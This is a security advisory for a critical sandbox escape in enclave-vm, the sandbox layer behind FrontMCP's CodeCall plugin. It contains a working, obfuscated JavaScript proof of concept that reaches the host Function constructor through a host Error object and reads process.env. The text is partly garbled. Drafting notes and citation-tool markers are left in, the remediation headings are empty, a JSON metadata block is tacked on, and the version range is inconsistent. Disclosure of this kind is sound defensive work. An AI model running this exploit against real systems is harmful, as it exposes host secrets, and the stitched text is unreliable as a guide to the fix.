A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.
When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:
Error instance → Error.prototype → Error constructor → Function constructor
With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.
This breaks enclave-vm’s core security guarantee of isolating untrusted code.
FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.
Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.
To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:
This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.
enclave-vm@2.7.0 (Jan 9, 2026)⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.
<details> <summary>Click to expand PoC</summary>
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.
const s = (...args) => String.fromCharCode(...args);
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype = s(112,114,111,116,111,116,121,112,101);
try {
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const ErrorCtor = errProto[kCon];
const HostFunc = ErrorCtor[kCon];
const exploitFn = HostFunc(kCode);
return exploitFn();
} catch (e) {
return e.message;
}
</details>
Immediate action:
Defense-in-depth guidance:
Function constructors```
Factual hooks (for correctness):
- GHSA page confirms affected <2.6.0 and patched 2.7.0, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}
- FrontMCP docs explicitly describe CodeCall and that it uses Enclave (AST validation + runtime sandboxing). :contentReference[oaicite:1]{index=1}
- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}
- Enclave repo links the Live Demo at enclave.agentfront.dev. :contentReference[oaicite:3]{index=3}
- Release listing shows enclave-vm@2.7.0 dated Jan 9 (fast fix signal). :contentReference[oaicite:4]{index=4}
::contentReference[oaicite:5]{index=5}
{
"nvd_published_at": "2026-01-14T00:15:49Z",
"cwe_ids": [
"CWE-94"
],
"severity": "CRITICAL",
"github_reviewed": true,
"github_reviewed_at": "2026-01-14T16:52:30Z"
}